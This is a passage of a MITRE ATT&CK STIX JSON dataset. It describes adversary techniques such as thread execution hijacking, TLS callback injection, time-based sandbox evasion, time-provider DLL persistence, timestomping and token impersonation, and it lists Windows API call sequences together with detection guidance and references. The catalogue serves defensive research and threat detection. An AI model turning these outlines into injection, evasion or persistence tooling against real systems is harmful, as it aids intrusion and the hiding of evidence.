                    "description": "Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.",
                    "source_name": "Redxorblue Remote Template Injection"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/",
                    "description": "Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.",
                    "source_name": "MalwareBytes Template Injection OCT 2017"
                },
                {
                    "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104",
                    "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.",
                    "source_name": "Anomali Template Injection MAR 2018"
                },
                {
                    "url": "https://blog.talosintelligence.com/2017/07/template-injection.html",
                    "description": "Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.",
                    "source_name": "Talos Template Injection July 2017"
                },
                {
                    "url": "https://github.com/ryhanson/phishery",
                    "description": "Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.",
                    "source_name": "ryhanson phishery SEPT 2016"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-04-29T14:37:59.462Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Analyze process behavior to determine if an Office application is performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.",
            "x_mitre_defense_bypassed": [
                "Static File Analysis"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_contributors": [
                "Brian Wiltse @evalstrings",
                "Patrick Campbell, @pjcampbe11"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "created": "2020-01-14T01:28:32.166Z",
            "modified": "2020-11-10T18:29:30.941Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6",
            "description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.  \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ",
            "name": "Thread Execution Hijacking",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1055.003",
                    "url": "https://attack.mitre.org/techniques/T1055/003"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Access"
            ],
            "x_mitre_defense_bypassed": [
                "Application control",
                "Anti-virus"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1055.005",
                    "url": "https://attack.mitre.org/techniques/T1055/005"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html",
                    "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.",
                    "source_name": "FireEye TLS Nov 2017"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Thread Local Storage",
            "description": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ",
            "id": "attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-11-10T18:29:30.984Z",
            "created": "2020-01-14T01:30:41.092Z",
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Application control"
            ],
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Access"
            ],
            "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1597.001",
                    "url": "https://attack.mitre.org/techniques/T1597/001"
                },
                {
                    "source_name": "D3Secutrity CTI Feeds",
                    "url": "https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/",
                    "description": "Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Threat Intel Vendors",
            "description": "Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)\n\nAdversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
            "id": "attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:45:30.862Z",
            "created": "2020-10-02T17:03:45.918Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
            "description": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)",
            "name": "Time Based Evasion",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1497.003",
                    "url": "https://attack.mitre.org/techniques/T1497/003"
                },
                {
                    "source_name": "ISACA Malware Tricks",
                    "url": "https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes",
                    "description": "Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-04-01T15:48:28.345Z",
            "created": "2020-03-06T21:11:11.225Z",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_contributors": [
                "Deloitte Threat Library Team"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
            ],
            "x_mitre_detection": "Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1",
            "x_mitre_defense_bypassed": [
                "Host forensic analysis",
                "Signature-based detection",
                "Static File Analysis",
                "Anti-virus"
            ]
        },
        {
            "id": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87",
            "name": "Time Providers",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1209",
                    "url": "https://attack.mitre.org/techniques/T1209"
                },
                {
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top",
                    "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.",
                    "source_name": "Microsoft W32Time Feb 2018"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx",
                    "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
                    "source_name": "Microsoft TimeProvider"
                },
                {
                    "url": "https://github.com/scottlundgren/w32time",
                    "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.",
                    "source_name": "Github W32Time Oct 2017"
                },
                {
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
                    "source_name": "Microsoft W32Time May 2017"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-24T16:48:50.715Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1547.003",
                    "url": "https://attack.mitre.org/techniques/T1547/003"
                },
                {
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top",
                    "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.",
                    "source_name": "Microsoft W32Time Feb 2018"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx",
                    "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
                    "source_name": "Microsoft TimeProvider"
                },
                {
                    "url": "https://github.com/scottlundgren/w32time",
                    "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.",
                    "source_name": "Github W32Time Oct 2017"
                },
                {
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
                    "source_name": "Microsoft W32Time May 2017"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Time Providers",
            "description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)",
            "id": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-03-25T15:24:26.476Z",
            "created": "2020-01-24T15:51:52.317Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "SYSTEM",
                "Administrator"
            ],
            "x_mitre_detection": "Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code> as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Module: Module Load",
                "Command: Command Execution",
                "Process: Process Creation"
            ],
            "x_mitre_contributors": [
                "Scott Lundgren, @5twenty9, Carbon Black"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1099",
                    "url": "https://attack.mitre.org/techniques/T1099"
                },
                {
                    "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html",
                    "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.",
                    "source_name": "WindowsIR Anti-Forensic Techniques"
                }
            ],
            "name": "Timestomp",
            "id": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-18T16:56:57.039Z",
            "created": "2017-05-31T21:31:12.675Z"
        },
        {
            "created": "2020-01-31T12:42:44.103Z",
            "modified": "2020-03-29T21:39:46.724Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "description": "Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.\n\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)",
            "name": "Timestomp",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1070.006",
                    "url": "https://attack.mitre.org/techniques/T1070/006"
                },
                {
                    "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html",
                    "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.",
                    "source_name": "WindowsIR Anti-Forensic Techniques"
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "File: File Modification",
                "File: File Metadata"
            ],
            "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.",
            "x_mitre_defense_bypassed": [
                "Host forensic analysis"
            ],
            "x_mitre_permissions_required": [
                "root",
                "SYSTEM",
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Romain Dumont, ESET"
            ]
        },
        {
            "created": "2020-02-18T16:39:06.289Z",
            "modified": "2020-03-26T21:29:18.608Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d",
            "description": "Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread.\n\nAn adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.",
            "name": "Token Impersonation/Theft",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1134.001",
                    "url": "https://attack.mitre.org/techniques/T1134/001"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
                    "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
                    "source_name": "Microsoft Command-line Logging"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nAnalysts can also monitor for use of Windows APIs such as <code>DuplicateToken(Ex)</code>, <code> ImpersonateLoggedOnUser </code>, and <code> SetThreadToken </code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",
            "x_mitre_defense_bypassed": [
                "Windows User Account Control",
                "System access controls",
                "File system access controls"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0",
            "description": "Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).",
            "name": "Tool",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1588.002",
                    "url": "https://attack.mitre.org/techniques/T1588/002"
                },
                {
                    "source_name": "Recorded Future Beacon 2019",
                    "url": "https://www.recordedfuture.com/identifying-cobalt-strike-servers/",
                    "description": "Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T03:15:20.491Z",
            "created": "2020-10-01T02:08:33.977Z",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle."
        },
        {
            "created": "2020-10-19T13:40:11.118Z",
            "modified": "2020-10-22T02:24:54.640Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1",
            "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure.  Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.",
            "name": "Traffic Duplication",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1020.001",
                    "url": "https://attack.mitre.org/techniques/T1020/001"
                },
                {
                    "external_id": "CAPEC-117",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/117.html"
                },
                {
                    "source_name": "Cisco Traffic Mirroring",
                    "url": "https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html",
                    "description": "Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Juniper Traffic Mirroring",
                    "url": "https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html",
                    "description": "Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020."
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
                }
            ],
            "x_mitre_platforms": [
                "Network"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_detection": "Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals).  Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. ",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "created": "2018-04-18T17:59:24.739Z",
            "modified": "2021-02-17T14:23:49.495Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "type": "attack-pattern",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1205",
                    "url": "https://attack.mitre.org/techniques/T1205"
                },
                {
                    "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631",
                    "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
                    "source_name": "Hartrell cd00r 2002"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
